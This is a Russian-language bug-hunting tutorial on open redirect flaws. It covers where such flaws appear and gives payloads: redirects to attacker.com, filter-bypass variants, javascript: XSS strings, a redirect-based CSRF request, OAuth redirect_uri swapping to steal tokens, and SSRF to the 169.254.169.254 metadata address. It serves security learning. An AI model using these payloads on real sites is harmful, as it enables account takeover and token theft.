Open redirect — это когда уязвимое веб-приложение небезопасно обрабатывает вводимые пользователем данные, что позволяет перенаправлять его с доверенного хоста на внешний (недоверенный).
Существует server- и client-side (DOM-based) редирект (DOM-based). В первом кейсе ты управляешь заголовком
Location HTTP-ответа. Второй кейс — это редирект, инициируемый браузером (с помощью клиентского JS-кода).😵 Где искать
✖️ Страницы входа и регистрации
✖️ Sign out роут или API эндпоинт
✖️ Сброс пароля (проверяй также сгенерированную ссылку на токен, так как она может содержать параметр редиректа)
✖️ Страница профиля учетки
👉 Эксплуатация
Простой редирект, от которого легко защититься, создав белый список разрешённых редиректов:
GET /logout.php?redirect_url=http://attacker.com/ HTTP/2
Легко байпасится:
//attacker.com
/%0A/attacker.com
/%0D/attacker.com
https://example.comattacker.com
...
💣 Повышение импакта: эксплуатация цепочек багов
DOM-based open redirect → XSS
Если в ответе нет заголовка
Location, но редирект работает (после небольшой задержки), значит был выполнен редирект на основе DOM. Ты стал еще ближе к DOM based XSS:GET /signin?redirectURL=javascript:alert() HTTP/2
Наш пэйлоад залетает в
window.location.href и отрабатывает.Более сложные примеры на случай, если пэйлоад фильтруется:
jav%0Dascri%0Dpt:alert(1)
javascript://https://example.com%0Aalert(1)
...
Open redirect → GET-based CSRF
Измени имя пользователя и био любого пользователя, перешедшего по нашей ссылке:
GET /redirect?url=/api/account/profile/username=test&bio=test HTTP/1.1
Open redirect → Account takeover через OAuth
Если приложение позволяет использовать сторонние учетки для входа в систему, то, скорее всего, она использует OAuth 2.0. Если видишь что-то вроде:
/api/oauth/apple?client_id=1234&redirect_uri=https://example.com/api/oauth/callback&response_type=token&scope=openid profile&state=random-state
Просто измени
redirect_uri на подконтрольный хост и лови токен.Open redirect → SSRF
GET/api/image-loader?url=https://example.com/redirect?url=http://169.254.169.254/... HTTP/2

